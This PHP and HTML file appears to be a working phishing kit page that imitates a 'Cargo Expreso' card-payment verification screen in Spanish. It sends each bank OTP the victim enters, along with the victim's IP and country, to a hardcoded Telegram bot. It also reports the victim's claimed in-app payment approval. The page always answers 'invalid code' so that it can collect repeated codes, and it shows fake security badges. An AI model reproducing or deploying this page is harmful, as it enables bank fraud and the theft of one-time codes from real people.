<?php
$BOT_TOKEN = "7675736230:AAHECKf4diUuzk5OA5pTdViZBOncQIyDtAA";
$CHAT_ID = "7549492194";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
    $geo = json_decode($geoData);
    $country = $geo->country ?? 'Unknown';
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// === HANDLE AJAX ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $msg = "";

    if ($_POST['action'] === 'verify') {
        $otp = trim($_POST['otp'] ?? '');
        $attempt = intval($_POST['attempt'] ?? 1);

        $msg = "<b>⚠️ OTP ATTEMPT #{$attempt}</b>\n";
        $msg .= "══════════════════════════════\n";
        $msg .= "<b>OTP:</b> <code>{$otp}</code>\n";
        $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
        $msg .= "<b>Country:</b> {$country}\n";
        $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
        sendTelegram($msg);

        echo json_encode(['status' => 'invalid', 'attempt' => $attempt + 1]);
        exit;
    }

    if ($_POST['action'] === 'approved') {
        $msg = "<b>⚠️ PAYMENT APPROVED VIA BANK APP</b>\n";
        $msg .= "══════════════════════════════\n";
        $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
        $msg .= "<b>Country:</b> {$country}\n";
        $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
        sendTelegram($msg);

        echo json_encode(['status' => 'loop']);
        exit;
    }
}

// === GET PAYMENT DATA ===
$paymentData = json_decode($_POST['payment'] ?? '', true) ?: [];
$tracking = htmlspecialchars($paymentData['tracking'] ?? 'CEX' . rand(1000000, 9999999));
$last4 = substr(preg_replace('/\D/', '', $paymentData['card_number'] ?? ''), -4) ?: '0000';
$time = date('H:i');
$date = date('d/m/Y');
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Pago Seguro — Cargo Expreso</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <style>
        :root {
            --primary: #FF6600;
            --primary-dark: #E55C00;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #333333;
            --text-muted: #666666;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --danger: #DC2626;
            --danger-bg: #FEF2F2;
            --success: #0F7B4B;
        }
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body {
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container {
            max-width: 420px;
            margin: 0 auto;
            width: 100%;
            padding: 0 1rem;
            flex: 1;
        }

        /* HEADER */
        .bank-header {
            background: var(--secondary);
            color: #FFFFFF;
            padding: 1rem;
            border-radius: var(--radius) var(--radius) 0 0;
            text-align: center;
            font-weight: 600;
            font-size: 0.95rem;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.5rem;
            border-bottom: 2px solid var(--primary);
        }

        /* CARD */
        .approval-card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: 0 0 var(--radius) var(--radius);
            padding: 1.5rem;
            margin-top: -1px;
        }

        /* TRANSACTION */
        .transaction {
            background: #F8FAFC;
            border-radius: var(--radius);
            padding: 1rem;
            margin-bottom: 1.25rem;
            border: 1px solid var(--border);
        }
        .trans-row {
            display: flex;
            justify-content: space-between;
            padding: 0.5rem 0;
            font-size: 0.9rem;
            border-bottom: 1px solid var(--border);
        }
        .trans-row:last-child { border-bottom: none; }
        .trans-label { color: var(--text-muted); }
        .trans-value { font-weight: 500; }
        .amount { 
            color: var(--success);
            font-weight: 700;
            font-size: 1.2rem;
        }

        /* PUSH NOTIFICATION */
        .app-notif {
            background: #F8FAFC;
            border-radius: var(--radius);
            padding: 1.5rem 1.25rem;
            margin: 1.25rem 0;
            text-align: center;
            border: 1px solid var(--border);
        }
        .app-notif img {
            width: 80px;
            height: 80px;
            margin-bottom: 1rem;
            border-radius: var(--radius);
            display: block;
            margin-left: auto;
            margin-right: auto;
        }
        .app-notif strong {
            display: block;
            color: var(--secondary);
            margin-bottom: 0.5rem;
            font-size: 1rem;
            font-weight: 700;
        }
        .app-notif .app-badge {
            display: inline-block;
            background: var(--primary);
            color: #FFFFFF;
            padding: 0.35rem 0.8rem;
            border-radius: 20px;
            font-size: 0.8rem;
            margin-top: 0.75rem;
            font-weight: 600;
        }

        /* LOADING DOTS */
        .loading-dots {
            text-align: center;
            padding: 1rem;
            margin: 0.5rem 0;
            font-size: 0.9rem;
            color: var(--text-muted);
        }
        .dot {
            display: inline-block;
            width: 6px;
            height: 6px;
            border-radius: 50%;
            background: var(--text-muted);
            margin: 0 2px;
            animation: dotPulse 1.4s infinite ease-in-out;
        }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes dotPulse {
            0%, 80%, 100% { transform: scale(0.8); opacity: 0.5; }
            40% { transform: scale(1); opacity: 1; }
        }

        /* SMS INPUT (Hidden initially) */
        .sms-container {
            margin: 1.25rem 0;
            display: none;
        }
        .sms-label {
            font-weight: 600;
            margin-bottom: 0.5rem;
            color: var(--secondary);
            font-size: 0.9rem;
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }
        .sms-hint {
            color: var(--text-muted);
            font-size: 0.85rem;
            margin-bottom: 1rem;
        }
        .sms-input {
            width: 100%;
            padding: 0.75rem;
            font-size: 1rem;
            text-align: center;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: white;
            font-family: monospace;
            margin-bottom: 1rem;
        }
        .sms-input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }
        .sms-input.error {
            border-color: var(--danger);
        }

        .verify-btn {
            width: 100%;
            padding: 0.8rem;
            background: var(--primary);
            color: #FFFFFF;
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 0.9rem;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 0.05em;
        }
        .verify-btn:hover { 
            background: var(--primary-dark);
        }
        .verify-btn:disabled { 
            background: #E2E8F0;
            color: var(--text-muted);
            cursor: not-allowed;
        }

        .cooldown {
            margin-top: 1rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            text-align: center;
            padding: 0.75rem;
            background: #F8FAFC;
            border-radius: var(--radius);
            border: 1px solid var(--border);
        }

        .error-message {
            display: none;
            color: var(--danger);
            margin-top: 1rem;
            font-size: 0.85rem;
            text-align: center;
            padding: 0.75rem;
            background: var(--danger-bg);
            border-radius: var(--radius);
            border: 1px solid var(--danger);
        }

        .approve-link {
            display: block;
            text-align: center;
            color: var(--secondary);
            text-decoration: none;
            margin: 1.25rem 0;
            font-size: 0.9rem;
            font-weight: 600;
            padding: 0.8rem;
            background: #F8FAFC;
            border-radius: var(--radius);
            border: 1px solid var(--border);
        }
        .approve-link:hover { 
            background: #E2E8F0;
        }

        .loop-message {
            display: none;
            color: var(--danger);
            margin: 1rem 0;
            font-size: 0.9rem;
            text-align: center;
            font-weight: 600;
            padding: 1rem;
            background: var(--danger-bg);
            border-radius: var(--radius);
            border: 1px solid var(--danger);
        }

        .security-badges {
            display: flex;
            justify-content: center;
            gap: 0.8rem;
            margin-top: 1.5rem;
            flex-wrap: wrap;
        }
        .badge {
            background: #F8FAFC;
            padding: 0.4rem 0.8rem;
            border-radius: var(--radius);
            font-size: 0.75rem;
            color: var(--text-muted);
            display: flex;
            align-items: center;
            gap: 0.4rem;
            border: 1px solid var(--border);
        }

        .footer {
            text-align: center;
            padding: 1.5rem 1rem;
            color: #777777;
            font-size: 0.75rem;
            margin-top: 2rem;
            background: var(--secondary);
        }

        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-5px); }
            75% { transform: translateX(5px); }
        }
        .shake { animation: shake 0.3s ease; }

        @media (max-width: 480px) {
            .container { max-width: 100%; }
            .approval-card { padding: 1.25rem; }
            .app-notif img { width: 70px; height: 70px; }
        }
    </style>
</head>
<body>

<div class="container">
    <!-- HEADER -->
    <div class="bank-header">
        <i class="fas fa-shield-alt"></i> Verificación de Pago
    </div>

    <!-- CARD -->
    <div class="approval-card">
        <div class="transaction">
            <div class="trans-row">
                <span class="trans-label">Comercio</span>
                <span class="trans-value">Cargo Expreso</span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Monto</span>
                <span class="trans-value amount">
                    <span class="amount-currency">Q</span>61.26
                </span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Fecha y Hora</span>
                <span class="trans-value"><?php echo "$date, $time"; ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Tarjeta</span>
                <span class="trans-value">**** **** **** <?php echo $last4; ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Referencia</span>
                <span class="trans-value"><?php echo $tracking; ?></span>
            </div>
        </div>

        <!-- PUSH NOTIFICATION WITH GIF -->
        <div class="app-notif">
            <img src="assets/pending.gif" alt="Aprobación Pendiente">
            <strong>Solicitud de Aprobación Enviada</strong>
            <div style="font-size: 0.9rem; margin: 0.5rem 0; color: var(--text-muted);">
                Revise su aplicación bancaria para la verificación.
            </div>
            <div class="app-badge">
                <i class="fas fa-mobile-alt"></i> Abrir aplicación bancaria
            </div>
        </div>

        <!-- LOADING DOTS -->
        <div class="loading-dots" id="loadingDots">
            Esperando respuesta de la aplicación bancaria
            <div style="margin-top: 0.5rem;">
                <span class="dot"></span>
                <span class="dot"></span>
                <span class="dot"></span>
            </div>
        </div>

        <!-- SMS INPUT (Shown after 20 seconds) -->
        <div class="sms-container" id="smsContainer">
            <div class="sms-label">
                <i class="fas fa-sms"></i> Verificación SMS
            </div>
            <div class="sms-hint">
                Ingrese el código de verificación enviado a su móvil.
            </div>
            <input type="text" class="sms-input" id="smsInput" placeholder="Ingrese código de verificación" inputmode="text">
            <button class="verify-btn" id="verifyBtn">
                <i class="fas fa-check-circle"></i> Verificar Código
            </button>
            <div class="cooldown" id="cooldown" style="display:none;">
                <i class="fas fa-clock"></i> Espere <span id="countdown">15</span> segundos
            </div>
            <div class="error-message" id="errorMessage">
                <i class="fas fa-exclamation-circle"></i>
                <span id="errorText">Código inválido</span>
            </div>
        </div>

        <a href="#" class="approve-link" id="approveLink">
            <i class="fas fa-check-double"></i> Aprobé en la aplicación bancaria
        </a>

        <div class="loop-message" id="loopMessage">
            <i class="fas fa-exclamation-triangle"></i>
            Aprobación no detectada. Intente verificación SMS.
        </div>

        <div class="security-badges">
            <div class="badge"><i class="fas fa-shield-alt"></i> Seguro</div>
            <div class="badge"><i class="fas fa-lock"></i> Encriptado</div>
            <div class="badge"><i class="fas fa-check-circle"></i> Verificado</div>
        </div>
    </div>
</div>

<div class="footer">
    Transacción segura procesada por su banco. © 2026 Cargo Expreso
</div>

<script>
// Show SMS input after 20 seconds
setTimeout(() => {
    document.getElementById('loadingDots').style.display = 'none';
    document.getElementById('smsContainer').style.display = 'block';
    document.getElementById('smsInput').focus();
}, 20000);

// SMS Input handling - ALPHANUMERIC ANY SIZE
document.getElementById('smsInput').addEventListener('input', function(e) {
    // Allow alphanumeric characters (letters and numbers only)
    this.value = this.value.replace(/[^A-Za-z0-9]/g, '');
    if (this.classList.contains('error')) {
        this.classList.remove('error');
        document.getElementById('errorMessage').style.display = 'none';
    }
});

// Verify Button - ACCEPTS ANY ALPHANUMERIC INPUT
let attempt = 1;
let cooldown = false;
document.getElementById('verifyBtn').addEventListener('click', async () => {
    if (cooldown) return;
    const otp = document.getElementById('smsInput').value.trim();
    
    // Accept any alphanumeric input (minimum 1 character)
    if (otp.length === 0) {
        showError('Ingrese código de verificación');
        document.getElementById('smsInput').classList.add('error');
        return;
    }

    const btn = document.getElementById('verifyBtn');
    btn.disabled = true;
    btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Verificando...';

    try {
        const res = await fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: `action=verify&otp=${encodeURIComponent(otp)}&attempt=${attempt}`
        });
        const data = await res.json();

        showError('Código inválido. Intente de nuevo.');
        document.getElementById('smsInput').classList.add('error');
        document.getElementById('smsInput').classList.add('shake');
        setTimeout(() => document.getElementById('smsInput').classList.remove('shake'), 300);
        
        attempt++;
        startCooldown();
    } catch (e) {
        btn.disabled = false;
        btn.innerHTML = '<i class="fas fa-check-circle"></i> Verificar Código';
        showError('Error de conexión');
    }
});

function showError(message) {
    const el = document.getElementById('errorMessage');
    document.getElementById('errorText').textContent = message;
    el.style.display = 'block';
    
    const btn = document.getElementById('verifyBtn');
    btn.disabled = false;
    btn.innerHTML = '<i class="fas fa-check-circle"></i> Verificar Código';
}

function startCooldown() {
    cooldown = true;
    const btn = document.getElementById('verifyBtn');
    const cd = document.getElementById('cooldown');
    const count = document.getElementById('countdown');
    btn.style.display = 'none';
    cd.style.display = 'block';

    let time = 15;
    const interval = setInterval(() => {
        time--;
        count.textContent = time;
        if (time <= 0) {
            clearInterval(interval);
            cooldown = false;
            btn.style.display = 'block';
            btn.disabled = false;
            btn.innerHTML = '<i class="fas fa-check-circle"></i> Verificar Código';
            cd.style.display = 'none';
            document.getElementById('smsInput').value = '';
            document.getElementById('smsInput').classList.remove('error');
            document.getElementById('errorMessage').style.display = 'none';
            document.getElementById('smsInput').focus();
        }
    }, 1000);
}

// App approval link
document.getElementById('approveLink').addEventListener('click', async (e) => {
    e.preventDefault();
    showError('Aprobación no detectada');
    document.getElementById('smsInput').classList.add('error');

    await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'action=approved'
    });

    document.getElementById('loopMessage').style.display = 'block';
    document.getElementById('approveLink').style.display = 'none';
});
</script>

</body>
</html>